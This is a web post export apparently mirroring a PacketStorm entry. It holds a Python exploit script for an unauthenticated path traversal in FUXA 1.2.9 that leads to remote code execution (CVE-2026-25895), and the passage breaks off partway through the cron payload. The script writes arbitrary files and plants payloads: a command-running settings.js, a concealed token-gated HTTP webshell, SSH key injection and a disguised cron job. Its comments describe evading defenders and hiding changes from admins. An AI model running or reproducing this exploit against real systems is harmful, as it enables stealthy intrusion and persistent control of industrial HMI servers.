{"id":56106,"date":"2026-05-21T11:33:12","date_gmt":"2026-05-21T11:33:12","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=56106"},"modified":"2026-05-21T11:33:12","modified_gmt":"2026-05-21T11:33:12","slug":"fuxa-129-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=56106","title":{"rendered":"\ud83d\udcc4 FUXA 1.2.9 Remote Code Execution_PACKETSTORM:221750"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-21T16:30:21&#8243;,&#8221;description&#8221;:&#8221;FUXA versions 1.2.9 and below suffers from an unauthenticated path traversal vulnerability that leads to arbitrary file write that enables remote code execution&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-21T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-21T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 FUXA 1.2.9 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:221750&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-25895&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: FUXA  1.2.9 &#8211;  RCE\\n    # Date: 4\/24\/2026\\n    # Exploit Author: Anthony Cihan (Hann1bl3L3ct3r)\\n    # Vendor Homepage: https:\/\/github.com\/frangoteam\/FUXA\\n    # Version: \\u003c= 1.2.9 \\n    # Tested on: Ubuntu Server \\n    # CVE : CVE-2026-25895\\n    \\n    \\&#8221;\\&#8221;\\&#8221;\\n    CVE-2026-25895 &#8211; FUXA Unauthenticated Path Traversal -\\u003e Arbitrary File Write -\\u003e RCE\\n    Affected: FUXA \\u003c= 1.2.9\\n    Patched:  1.2.10\\n    \\n    Vulnerable endpoint: POST \/api\/upload (server\/api\/projects\/index.js, ~line 193)\\n    Root cause:\\n      * The \/api\/upload route is registered with NO middleware:\\n            prjApp.post(&#8216;\/api\/upload&#8217;, function (req, res) { &#8230; })\\n        so it bypasses both `secureFnc` (JWT\/API-key) and the admin permission\\n        gate that wraps every other endpoint in projects\/index.js.\\n      * Inside the handler, the JSON-body field `destination` is concatenated\\n        into a path with only a leading underscore and no normalization \/\\n        containment check:\\n            let destinationDir = path.resolve(runtime.settings.appDir,\\n                                              `_${destination}`);\\n            filePath = path.join(destinationDir, fullPath || fileName);\\n            fs.writeFileSync(filePath, basedata, encoding);\\n        A relative payload of the form `a\/..\/..\/..\/..\/\\u003ctarget\\u003e` makes\\n        Node&#8217;s path.resolve() climb out of `appDir` to anywhere the FUXA\\n        process can write.\\n      * `fullPath`\/`fileName` strip `..` sequences, so we control the directory\\n        via `destination` and the filename via `file.name`.\\n    \\n    Exploitation: pre-auth RCE even when `secureEnabled = true`.\\n    \\n    Authorization: this script is for credentialed penetration tests against\\n    systems you are explicitly authorized to assess. Use only inside a defined\\n    engagement scope.\\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    from __future__ import annotations\\n    \\n    import argparse\\n    import base64\\n    import json\\n    import posixpath\\n    import secrets\\n    import sys\\n    from typing import Dict, List, Optional, Tuple\\n    from urllib.parse import urljoin, urlparse, quote\\n    \\n    try:\\n        import requests\\n    except ImportError:\\n        sys.stderr.write(\\&#8221;[-] Missing dependency: pip install requests\\\\n\\&#8221;)\\n        sys.exit(2)\\n    \\n    \\n    BANNER = r\\&#8221;\\&#8221;\\&#8221;\\n      ______ _    ___   __          _______          ___   _\\n     |  ____| |  | \\\\ \\\\ \/ \/    \/\\\\   |  __ \\\\ \\\\        \/ \/ \\\\ | |\\n     | |__  | |  | |\\\\ V \/    \/  \\\\  | |__) \\\\ \\\\  \/\\\\  \/ \/|  \\\\| |\\n     |  __| | |  | | \\u003e \\u003c    \/ \/\\\\ \\\\ |  ___\/ \\\\ \\\\\/  \\\\\/ \/ | . ` |\\n     | |    | |__| |\/ . \\\\  \/ ____ \\\\| |      \\\\  \/\\\\  \/  | |\\\\  |\\n     |_|     \\\\____\/\/_\/ \\\\_\\\\\/_\/    \\\\_\\\\_|       \\\\\/  \\\\\/   |_| \\\\_|\\n    \\n       CVE-2026-25895 :: FUXA \\u003c=1.2.9 Unauth Path Traversal -\\u003e RCE\\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    \\n    # &#8212; Server response helpers &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    def _extract_errno(response_text: str) -\\u003e Optional[str]:\\n        \\&#8221;\\&#8221;\\&#8221;Parse the server&#8217;s error JSON body (e.g. {\\&#8221;error\\&#8221;:\\&#8221;EACCES\\&#8221;,\\&#8221;message\\&#8221;:\\n        \\&#8221;EACCES: permission denied, open &#8216;\/root\/x&#8217;\\&#8221;}) and return the errno code.\\n        Returns None if the body is not JSON or has no &#8216;error&#8217; key.\\n        \\&#8221;\\&#8221;\\&#8221;\\n        if not response_text:\\n            return None\\n        try:\\n            data = json.loads(response_text)\\n        except (ValueError, TypeError):\\n            return None\\n        if isinstance(data, dict):\\n            err = data.get(\\&#8221;error\\&#8221;)\\n            if isinstance(err, str):\\n                return err\\n        return None\\n    \\n    \\n    def _extract_syscall(response_text: str) -\\u003e Optional[str]:\\n        \\&#8221;\\&#8221;\\&#8221;Parse the server&#8217;s error JSON body and return the Node.js syscall that\\n        failed (e.g. &#8216;open&#8217;, &#8216;mkdir&#8217;, &#8216;write&#8217;). The upload handler forwards\\n        `err.message`, which for POSIX fs errors is formatted by libuv as:\\n            \\&#8221;\\u003cCODE\\u003e: \\u003creason\\u003e, \\u003csyscall\\u003e &#8216;\\u003cpath\\u003e&#8217;\\&#8221;\\n        So we pull the token between the comma and the quoted path.\\n    \\n        The syscall lets us distinguish ambiguous errno values. In particular, on\\n        EACCES the upload handler conditionally calls fs.mkdirSync(parent,\\n        {recursive: true}) before writing \u2014 so a non-existent \/home\/\\u003cuser\\u003e\/ gets\\n        mkdir-EACCES (can&#8217;t create under root-owned \/home\/), while an existing\\n        \/home\/\\u003cother\\u003e\/ (mode 0700) gets open-EACCES on the write itself. Same\\n        errno, different meaning.\\n        \\&#8221;\\&#8221;\\&#8221;\\n        if not response_text:\\n            return None\\n        try:\\n            data = json.loads(response_text)\\n        except (ValueError, TypeError):\\n            return None\\n        if not isinstance(data, dict):\\n            return None\\n        msg = data.get(\\&#8221;message\\&#8221;)\\n        if not isinstance(msg, str):\\n            return None\\n        # Format: \\&#8221;EACCES: permission denied, mkdir &#8216;\/home\/tony&#8217;\\&#8221;\\n        #                                      ^^^^^\\n        try:\\n            tail = msg.split(\\&#8221;,\\&#8221;, 1)[1].strip()   # \\&#8221;mkdir &#8216;\/home\/tony&#8217;\\&#8221;\\n            syscall = tail.split(\\&#8221; \\&#8221;, 1)[0].strip()\\n            if syscall and syscall.isalpha():\\n                return syscall.lower()\\n        except (IndexError, AttributeError):\\n            pass\\n        return None\\n    \\n    \\n    # &#8212; Low-level upload primitive &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    class FuxaUploadExploit:\\n        \\&#8221;\\&#8221;\\&#8221;Wraps the vulnerable POST \/api\/upload endpoint.\\&#8221;\\&#8221;\\&#8221;\\n    \\n        def __init__(self, base_url: str, timeout: int = 15, verify_tls: bool = True,\\n                     proxy: Optional[str] = None, verbose: bool = True):\\n            self.base_url = base_url.rstrip(\\&#8221;\/\\&#8221;)\\n            self.timeout = timeout\\n            self.verify_tls = verify_tls\\n            self.verbose = verbose\\n            self.session = requests.Session()\\n            self.session.headers.update({\\n                \\&#8221;User-Agent\\&#8221;: \\&#8221;Mozilla\/5.0 (FUXA-CVE-2026-25895-PoC)\\&#8221;,\\n                \\&#8221;Content-Type\\&#8221;: \\&#8221;application\/json\\&#8221;,\\n            })\\n            if proxy:\\n                self.session.proxies = {\\&#8221;http\\&#8221;: proxy, \\&#8221;https\\&#8221;: proxy}\\n    \\n        # &#8212;- helpers &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n    \\n        def _log(self, msg: str) -\\u003e None:\\n            if self.verbose:\\n                print(msg, flush=True)\\n    \\n        def fingerprint(self) -\\u003e Tuple[bool, str]:\\n            \\&#8221;\\&#8221;\\&#8221;GET \/api\/version returns FUXA&#8217;s own version string (&#8216;1.0.0&#8217; for the\\n            api wrapper) \u2014 used as a pre-flight reachability check.\\n            \\&#8221;\\&#8221;\\&#8221;\\n            url = urljoin(self.base_url + \\&#8221;\/\\&#8221;, \\&#8221;api\/version\\&#8221;)\\n            try:\\n                r = self.session.get(url, timeout=self.timeout, verify=self.verify_tls)\\n            except requests.RequestException as e:\\n                return False, f\\&#8221;connection error: {e}\\&#8221;\\n            if r.status_code != 200:\\n                return False, f\\&#8221;unexpected status {r.status_code}\\&#8221;\\n            return True, r.text.strip()\\n    \\n        def fetch_settings(self) -\\u003e Tuple[bool, str, Optional[Dict]]:\\n            \\&#8221;\\&#8221;\\&#8221;GET \/api\/settings returns the full `runtime.settings` object\\n            (minus smtp password \/ secretCode) with NO auth middleware in FUXA\\n            \\u003c=1.2.9. Primary pre-auth information leak used by &#8211;mode recon.\\n            \\&#8221;\\&#8221;\\&#8221;\\n            url = urljoin(self.base_url + \\&#8221;\/\\&#8221;, \\&#8221;api\/settings\\&#8221;)\\n            try:\\n                r = self.session.get(url, timeout=self.timeout, verify=self.verify_tls)\\n            except requests.RequestException as e:\\n                return False, f\\&#8221;connection error: {e}\\&#8221;, None\\n            if r.status_code != 200:\\n                return False, f\\&#8221;unexpected status {r.status_code}\\&#8221;, None\\n            try:\\n                return True, \\&#8221;ok\\&#8221;, r.json()\\n            except ValueError:\\n                return False, f\\&#8221;non-JSON response (first 200B): {r.text[:200]!r}\\&#8221;, None\\n    \\n        # &#8212;- core exploit &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n        def upload(self, destination: str, filename: str, content: bytes,\\n                   file_type: str = \\&#8221;bin\\&#8221;) -\\u003e requests.Response:\\n            \\&#8221;\\&#8221;\\&#8221;Send the crafted upload that triggers the path-traversal write.\\n    \\n            Server-side decoding rules (from server\/api\/projects\/index.js):\\n              * if file.type === &#8216;svg&#8217;  -\\u003e raw write of file.data (no decoding)\\n              * otherwise               -\\u003e file.data is treated as base64 and\\n                                           written via fs.writeFileSync(&#8230;, &#8216;base64&#8217;)\\n            We use base64 by default so we can deliver arbitrary binary content.\\n            \\&#8221;\\&#8221;\\&#8221;\\n            if file_type == \\&#8221;svg\\&#8221;:\\n                # Raw text passthrough; keep file.type = &#8216;svg&#8217; so the server\\n                # writes it without base64 decoding.\\n                data_field = content.decode(\\&#8221;utf-8\\&#8221;, errors=\\&#8221;replace\\&#8221;)\\n            else:\\n                data_field = base64.b64encode(content).decode(\\&#8221;ascii\\&#8221;)\\n    \\n            body = {\\n                \\&#8221;resource\\&#8221;: {\\n                    \\&#8221;name\\&#8221;: filename,\\n                    \\&#8221;fullPath\\&#8221;: filename,   # written into the destination dir verbatim\\n                    \\&#8221;type\\&#8221;: file_type,\\n                    \\&#8221;data\\&#8221;: data_field,\\n                },\\n                \\&#8221;destination\\&#8221;: destination,\\n            }\\n    \\n            url = urljoin(self.base_url + \\&#8221;\/\\&#8221;, \\&#8221;api\/upload\\&#8221;)\\n            return self.session.post(url, data=json.dumps(body),\\n                                     timeout=self.timeout, verify=self.verify_tls)\\n    \\n        def write_arbitrary(self, target_abs_path: str, content: bytes,\\n                            appdir_depth: int = 10, file_type: str = \\&#8221;bin\\&#8221;) -\\u003e dict:\\n            \\&#8221;\\&#8221;\\&#8221;High-level: write `content` to any absolute path the FUXA process\\n            can reach.\\n    \\n            We assume FUXA&#8217;s `runtime.settings.appDir` is the `server\/` directory\\n            of the install. To climb out of it we prepend a dummy segment + N\\n            `..` jumps. `appdir_depth` is intentionally generous; extra `..`\\n            components past the filesystem root are no-ops on POSIX.\\n            \\&#8221;\\&#8221;\\&#8221;\\n            # Use posixpath unconditionally \u2014 the target is a Linux server, so we\\n            # cannot let the host&#8217;s os.path module rewrite separators on Windows.\\n            target_abs_path = posixpath.normpath(target_abs_path.replace(\\&#8221;\\\\\\\\\\&#8221;, \\&#8221;\/\\&#8221;))\\n            if not target_abs_path.startswith(\\&#8221;\/\\&#8221;):\\n                raise ValueError(\\&#8221;target_abs_path must be absolute (POSIX)\\&#8221;)\\n    \\n            target_dir, target_name = posixpath.split(target_abs_path)\\n            # destination becomes:  a\/..\/\/..\/\/..\/\/..\/\/..\/\/..\/\/..\/\/..  + target_dir\\n            # path.resolve(appDir, &#8216;_a\/..\/\/..\/\/&#8230;\/target_dir&#8217;) -\\u003e target_dir\\n            # The leading &#8216;a&#8217; is a throw-away segment that absorbs the &#8216;_&#8217; prefix.\\n            traversal = \\&#8221;a\\&#8221; + (\\&#8221;\/..\\&#8221; * appdir_depth)\\n            destination = traversal + target_dir   # target_dir starts with &#8216;\/&#8217;\\n    \\n            resp = self.upload(destination=destination, filename=target_name,\\n                               content=content, file_type=file_type)\\n    \\n            ok = resp.status_code == 200\\n            return {\\n                \\&#8221;status_code\\&#8221;: resp.status_code,\\n                \\&#8221;response_text\\&#8221;: resp.text[:400],\\n                \\&#8221;errno\\&#8221;: _extract_errno(resp.text),\\n                \\&#8221;syscall\\&#8221;: _extract_syscall(resp.text),\\n                \\&#8221;target\\&#8221;: target_abs_path,\\n                \\&#8221;wrote_bytes\\&#8221;: len(content),\\n                \\&#8221;success\\&#8221;: ok,\\n            }\\n    \\n    \\n    # &#8212; High-level payloads &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    \\n    def payload_proof(host: str) -\\u003e bytes:\\n        \\&#8221;\\&#8221;\\&#8221;Default canary payload. Deliberately bland \u2014 no CVE ID, no vendor\\n        name, no tool signature \u2014 so that the file sitting on the target&#8217;s\\n        filesystem is not a glaring IOC for log-scraping defenders or DFIR.\\n        Operators who want an explicit PoC demo payload should use\\n        &#8211;canary-content to supply their own file.\\n        \\&#8221;\\&#8221;\\&#8221;\\n        _ = host  # retained for API compatibility; intentionally unused\\n        return b\\&#8221;healthcheck ok\\\\n\\&#8221;\\n    \\n    \\n    def payload_settings_js_rce(callback_cmd: str,\\n                                real_settings: Optional[Dict] = None) -\\u003e bytes:\\n        \\&#8221;\\&#8221;\\&#8221;A drop-in replacement for FUXA&#8217;s _appdata\/settings.js.\\n    \\n        The file is loaded via require() in main.js at every startup, so any JS\\n        placed at module top-level executes inside the FUXA Node process the\\n        next time FUXA initializes. Passing `real_settings` (the dict returned\\n        by GET \/api\/settings) preserves the target&#8217;s actual configuration \u2014\\n        uiPort, allowedOrigins, secureEnabled, custom paths \u2014 so admins don&#8217;t\\n        notice config drift after restart.\\n        \\&#8221;\\&#8221;\\&#8221;\\n        # NB: the callback_cmd is interpolated as a JS string. Escape backslashes\\n        # and single-quotes so it survives JS parsing. Single-quoted JS string.\\n        safe = callback_cmd.replace(\\&#8221;\\\\\\\\\\&#8221;, \\&#8221;\\\\\\\\\\\\\\\\\\&#8221;).replace(\\&#8221;&#8216;\\&#8221;, \\&#8221;\\\\\\\\&#8217;\\&#8221;)\\n        return (\\n            \\&#8221;\/\/ CVE-2026-25895 PoC \u2014 replacement settings.js (command payload)\\\\n\\&#8221;\\n            \\&#8221;try {\\\\n\\&#8221;\\n            \\&#8221;    require(&#8216;child_process&#8217;).exec(&#8216;\\&#8221; + safe + \\&#8221;&#8216;,\\\\n\\&#8221;\\n            \\&#8221;        { detached: true, stdio: &#8216;ignore&#8217; });\\\\n\\&#8221;\\n            \\&#8221;} catch (e) { \/* swallow so FUXA still boots *\/ }\\\\n\\&#8221;\\n            \\&#8221;\\\\n\\&#8221;\\n            + _settings_module_exports(real_settings)\\n        ).encode(\\&#8221;utf-8\\&#8221;)\\n    \\n    \\n    def payload_authorized_keys(pubkey: str) -\\u003e bytes:\\n        return (pubkey.rstrip(\\&#8221;\\\\n\\&#8221;) + \\&#8221;\\\\n\\&#8221;).encode(\\&#8221;utf-8\\&#8221;)\\n    \\n    \\n    # &#8212; Webshell payload &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    #\\n    # The canonical Node-on-target webshell: a replacement settings.js module\\n    # that, at module-load time, spawns an HTTP listener inside the FUXA process.\\n    # The listener exposes a single authenticated endpoint that runs commands via\\n    # child_process.exec and returns stdout\/stderr in the HTTP response body.\\n    #\\n    # Design notes:\\n    #  * Bind on 0.0.0.0:\\u003cws_port\\u003e (configurable). Different port from FUXA&#8217;s\\n    #    main 1881 so we don&#8217;t collide with the app&#8217;s own Express server.\\n    #  * Auth: required token via `X-Auth-Token` header OR `?t=\\u003ctoken\\u003e` query.\\n    #    Wrong \/ missing token -\\u003e 404 (indistinguishable from a non-existent\\n    #    endpoint) to make the listener invisible to dumb scanners.\\n    #  * Path: configurable random secret path (default: 24 random hex chars).\\n    #    Requests to any other path also get 404.\\n    #  * Error isolation: server.on(&#8216;error&#8217;, &#8230;) swallows EADDRINUSE and\\n    #    friends so a restart cycle that can&#8217;t rebind the port does NOT take\\n    #    FUXA down. Try\/catch wraps the whole initialization for the same\\n    #    reason \u2014 the settings.js load path MUST NOT throw, or FUXA will\\n    #    fail to boot.\\n    #  * The module still exports the full settings object verbatim so FUXA\\n    #    boots cleanly and operators see a healthy service.\\n    \\n    def payload_webshell_js(ws_port: int, ws_path: str, ws_token: str,\\n                            real_settings: Optional[Dict] = None) -\\u003e bytes:\\n        \\&#8221;\\&#8221;\\&#8221;Replacement settings.js that, on FUXA startup, binds an authenticated\\n        HTTP command-execution endpoint inside the Node process.\\n    \\n        Passing `real_settings` (from GET \/api\/settings) preserves the target&#8217;s\\n        actual configuration in the module.exports block so the service looks\\n        unchanged to admins after restart.\\n        \\&#8221;\\&#8221;\\&#8221;\\n        # All three operator inputs are interpolated into a JS string literal.\\n        # Escape backslashes + single quotes so nothing breaks out.\\n        def esc(s: str) -\\u003e str:\\n            return s.replace(\\&#8221;\\\\\\\\\\&#8221;, \\&#8221;\\\\\\\\\\\\\\\\\\&#8221;).replace(\\&#8221;&#8216;\\&#8221;, \\&#8221;\\\\\\\\&#8217;\\&#8221;)\\n    \\n        path_js = esc(ws_path if ws_path.startswith(\\&#8221;\/\\&#8221;) else \\&#8221;\/\\&#8221; + ws_path)\\n        token_js = esc(ws_token)\\n    \\n        return (\\n            \\&#8221;\/\/ CVE-2026-25895 PoC \u2014 replacement settings.js (HTTP webshell)\\\\n\\&#8221;\\n            \\&#8221;try {\\\\n\\&#8221;\\n            \\&#8221;    const http = require(&#8216;http&#8217;);\\\\n\\&#8221;\\n            \\&#8221;    const { exec } = require(&#8216;child_process&#8217;);\\\\n\\&#8221;\\n            \\&#8221;    const urlMod = require(&#8216;url&#8217;);\\\\n\\&#8221;\\n            \\&#8221;    const WS_PORT  = \\&#8221; + str(int(ws_port)) + \\&#8221;;\\\\n\\&#8221;\\n            \\&#8221;    const WS_PATH  = &#8216;\\&#8221; + path_js + \\&#8221;&#8216;;\\\\n\\&#8221;\\n            \\&#8221;    const WS_TOKEN = &#8216;\\&#8221; + token_js + \\&#8221;&#8216;;\\\\n\\&#8221;\\n            \\&#8221;    const server = http.createServer((req, res) =\\u003e {\\\\n\\&#8221;\\n            \\&#8221;        try {\\\\n\\&#8221;\\n            \\&#8221;            const parsed = urlMod.parse(req.url || &#8221;, true);\\\\n\\&#8221;\\n            \\&#8221;            const hdrTok = req.headers[&#8216;x-auth-token&#8217;];\\\\n\\&#8221;\\n            \\&#8221;            const qTok = parsed.query \\u0026\\u0026 parsed.query.t;\\\\n\\&#8221;\\n            \\&#8221;            const tok = (typeof hdrTok === &#8216;string&#8217;) ? hdrTok : qTok;\\\\n\\&#8221;\\n            \\&#8221;            if (parsed.pathname !== WS_PATH || tok !== WS_TOKEN) {\\\\n\\&#8221;\\n            \\&#8221;                res.writeHead(404, {&#8216;Content-Type&#8217;: &#8216;text\/plain&#8217;});\\\\n\\&#8221;\\n            \\&#8221;                res.end(&#8216;Not Found&#8217;);\\\\n\\&#8221;\\n            \\&#8221;                return;\\\\n\\&#8221;\\n            \\&#8221;            }\\\\n\\&#8221;\\n            \\&#8221;            const handle = (cmd) =\\u003e {\\\\n\\&#8221;\\n            \\&#8221;                if (!cmd) {\\\\n\\&#8221;\\n            \\&#8221;                    res.writeHead(400, {&#8216;Content-Type&#8217;: &#8216;text\/plain&#8217;});\\\\n\\&#8221;\\n            \\&#8221;                    res.end(&#8216;missing cmd&#8217;);\\\\n\\&#8221;\\n            \\&#8221;                    return;\\\\n\\&#8221;\\n            \\&#8221;                }\\\\n\\&#8221;\\n            \\&#8221;                exec(cmd, { timeout: 60000, maxBuffer: 16*1024*1024, shell: &#8216;\/bin\/sh&#8217; },\\\\n\\&#8221;\\n            \\&#8221;                    (err, stdout, stderr) =\\u003e {\\\\n\\&#8221;\\n            \\&#8221;                        let out = &#8221;;\\\\n\\&#8221;\\n            \\&#8221;                        if (stdout) out += stdout.toString();\\\\n\\&#8221;\\n            \\&#8221;                        if (stderr) out += stderr.toString();\\\\n\\&#8221;\\n            \\&#8221;                        if (err \\u0026\\u0026 typeof err.code !== &#8216;undefined&#8217; \\u0026\\u0026 err.code !== 0) {\\\\n\\&#8221;\\n            \\&#8221;                            out += &#8216;\\\\\\\\n[exit &#8216; + err.code + &#8216;]&#8217;;\\\\n\\&#8221;\\n            \\&#8221;                        }\\\\n\\&#8221;\\n            \\&#8221;                        res.writeHead(200, {&#8216;Content-Type&#8217;: &#8216;text\/plain; charset=utf-8&#8217;});\\\\n\\&#8221;\\n            \\&#8221;                        res.end(out);\\\\n\\&#8221;\\n            \\&#8221;                    });\\\\n\\&#8221;\\n            \\&#8221;            };\\\\n\\&#8221;\\n            \\&#8221;            if (req.method === &#8216;POST&#8217;) {\\\\n\\&#8221;\\n            \\&#8221;                let body = &#8221;;\\\\n\\&#8221;\\n            \\&#8221;                req.on(&#8216;data&#8217;, (c) =\\u003e { body += c; if (body.length \\u003e 65536) req.destroy(); });\\\\n\\&#8221;\\n            \\&#8221;                req.on(&#8216;end&#8217;, () =\\u003e {\\\\n\\&#8221;\\n            \\&#8221;                    let cmd = parsed.query.cmd;\\\\n\\&#8221;\\n            \\&#8221;                    if (!cmd \\u0026\\u0026 body) {\\\\n\\&#8221;\\n            \\&#8221;                        try {\\\\n\\&#8221;\\n            \\&#8221;                            const j = JSON.parse(body);\\\\n\\&#8221;\\n            \\&#8221;                            cmd = j.cmd;\\\\n\\&#8221;\\n            \\&#8221;                        } catch (e) { cmd = body; }\\\\n\\&#8221;\\n            \\&#8221;                    }\\\\n\\&#8221;\\n            \\&#8221;                    handle(cmd);\\\\n\\&#8221;\\n            \\&#8221;                });\\\\n\\&#8221;\\n            \\&#8221;                req.on(&#8216;error&#8217;, () =\\u003e { try { res.end(); } catch (e) {} });\\\\n\\&#8221;\\n            \\&#8221;            } else {\\\\n\\&#8221;\\n            \\&#8221;                handle(parsed.query.cmd);\\\\n\\&#8221;\\n            \\&#8221;            }\\\\n\\&#8221;\\n            \\&#8221;        } catch (e) {\\\\n\\&#8221;\\n            \\&#8221;            try { res.writeHead(500); res.end(&#8216;err&#8217;); } catch (ee) {}\\\\n\\&#8221;\\n            \\&#8221;        }\\\\n\\&#8221;\\n            \\&#8221;    });\\\\n\\&#8221;\\n            \\&#8221;    server.on(&#8216;error&#8217;, () =\\u003e { \/* swallow bind errors *\/ });\\\\n\\&#8221;\\n            \\&#8221;    server.listen(WS_PORT, &#8216;0.0.0.0&#8217;);\\\\n\\&#8221;\\n            \\&#8221;} catch (e) { \/* swallow so FUXA still boots *\/ }\\\\n\\&#8221;\\n            \\&#8221;\\\\n\\&#8221;\\n            + _settings_module_exports(real_settings)\\n        ).encode(\\&#8221;utf-8\\&#8221;)\\n    \\n    \\n    def _settings_module_exports(real_settings: Optional[Dict] = None) -\\u003e str:\\n        \\&#8221;\\&#8221;\\&#8221;Return JS source for `module.exports = {&#8230;}`.\\n    \\n        When `real_settings` is provided (fetched from GET \/api\/settings), emit\\n        it as a JSON literal \u2014 JSON is a valid JavaScript expression when used\\n        as an object literal, and this preserves the target&#8217;s real uiPort,\\n        allowedOrigins, secureEnabled, custom paths, etc. so admins don&#8217;t spot\\n        config drift after restart.\\n    \\n        Caveats (see server\/api\/index.js:103-110):\\n          * `\/api\/settings` DELETES `secretCode` from its response, and\\n            `smtp.password` if smtp is set. Our replacement settings.js will not\\n            contain them. jwt-helper.js:6 falls back to &#8216;frangoteam751&#8217; when\\n            secretCode is missing, which invalidates any existing JWTs issued\\n            under a previously-customized secretCode. The default install has\\n            secretCode commented out (settings.default.js:94), so most targets\\n            are unaffected \u2014 but when `secureEnabled: true`, warn the operator.\\n          * process.env.PORT resolution is lost (we only see the runtime value).\\n            In practice FUXA installs rarely rely on PORT env dynamism.\\n    \\n        When `real_settings` is None, fall back to a minimal config that matches\\n        settings.default.js so FUXA still boots. Use this only when the recon\\n        fetch failed \u2014 prefer the real-settings path.\\n        \\&#8221;\\&#8221;\\&#8221;\\n        if real_settings is not None:\\n            body = json.dumps(real_settings, indent=4, ensure_ascii=False,\\n                              sort_keys=False, default=str)\\n            return \\&#8221;module.exports = \\&#8221; + body + \\&#8221;;\\\\n\\&#8221;\\n        # Fallback \u2014 minimal config derived from FUXA 1.2.9 settings.default.js.\\n        return (\\n            \\&#8221;module.exports = {\\\\n\\&#8221;\\n            \\&#8221;    version: 1.4,\\\\n\\&#8221;\\n            \\&#8221;    language: &#8216;en&#8217;,\\\\n\\&#8221;\\n            \\&#8221;    uiPort: process.env.PORT || 1881,\\\\n\\&#8221;\\n            \\&#8221;    logDir: &#8216;_logs&#8217;,\\\\n\\&#8221;\\n            \\&#8221;    logApiLevel: &#8216;tiny&#8217;,\\\\n\\&#8221;\\n            \\&#8221;    dbDir: &#8216;_db&#8217;,\\\\n\\&#8221;\\n            \\&#8221;    daqEnabled: true,\\\\n\\&#8221;\\n            \\&#8221;    daqTokenizer: 24,\\\\n\\&#8221;\\n            \\&#8221;    logs: { retention: &#8216;none&#8217; },\\\\n\\&#8221;\\n            \\&#8221;    broadcastAll: false,\\\\n\\&#8221;\\n            \\&#8221;    allowedOrigins: [&#8216;http:\/\/localhost&#8217;, &#8216;http:\/\/127.0.0.1&#8217;,\\\\n\\&#8221;\\n            \\&#8221;                     &#8216;http:\/\/192.168.*&#8217;, &#8216;http:\/\/10.*&#8217;,\\\\n\\&#8221;\\n            \\&#8221;                     &#8216;http:\/\/localhost:4200&#8217;],\\\\n\\&#8221;\\n            \\&#8221;    heartbeatIntervalSec: 10,\\\\n\\&#8221;\\n            \\&#8221;    webcamSnapShotsDir: &#8216;_webcam_snapshots&#8217;,\\\\n\\&#8221;\\n            \\&#8221;    webcamSnapShotsCleanup: false,\\\\n\\&#8221;\\n            \\&#8221;    webcamSnapShotsRetain: 7,\\\\n\\&#8221;\\n            \\&#8221;    swaggerEnabled: false,\\\\n\\&#8221;\\n            \\&#8221;    nodeRedEnabled: false,\\\\n\\&#8221;\\n            \\&#8221;};\\\\n\\&#8221;\\n        )\\n    \\n    \\n    # &#8212; Cron payload &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n    #\\n    # The write primitive can drop directly into cron-reread paths. When FUXA\\n    # runs as root (common in container deployments, and in any install where\\n    # the service was started by an admin who didn&#8217;t bother with a dedicated\\n    # user), \/etc\/cron.d\/\\u003cname\\u003e is re-read every minute by the cron daemon \u2014\\n    # that&#8217;s RCE with a \\u003c=60s delay and no FUXA restart.\\n    #\\n    # When FUXA runs as a non-root user, \/var\/spool\/cron\/crontabs\/\\u003cuser\\u003e\\n    # (Debian\/Vixie layout) or \/var\/spool\/cron\/\\u003cuser\\u003e (RHEL\/cronie) is the\\n    # equivalent, but those user-crontab paths require mode 0600 and the\\n    # correct owning uid; fs.writeFileSync will produce mode 0644 owned by\\n    # the FUXA uid, which matches the owner but not the mode \u2014 Vixie rejects,\\n    # cronie accepts. Test per engagement.\\n    \\n    _CRON_HEADER = (\\n        \\&#8221;# FUXA health monitor\\\\n\\&#8221;\\n        \\&#8221;SHELL=\/bin\/sh\\\\n\\&#8221;\\n        \\&#8221;PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\\\\n\\&#8221;\\n    )\\n    \\n    \\n    def payload_cron_job(schedule: str, user: Optional[str], cmd: str) -\\u003e bytes:\\n        \\&#8221;\\&#8221;\\&#8221;Build a cron file body.\\n    \\n        If `user` is given (required for \/etc\/cron.d\/* and \/etc\/crontab), the\\n        user field is included. For \/var\/spool\/cron\/crontabs\/\\u003cuser\\u003e style files,\\n        pass user=None so only `schedule cmd` is written.\\n        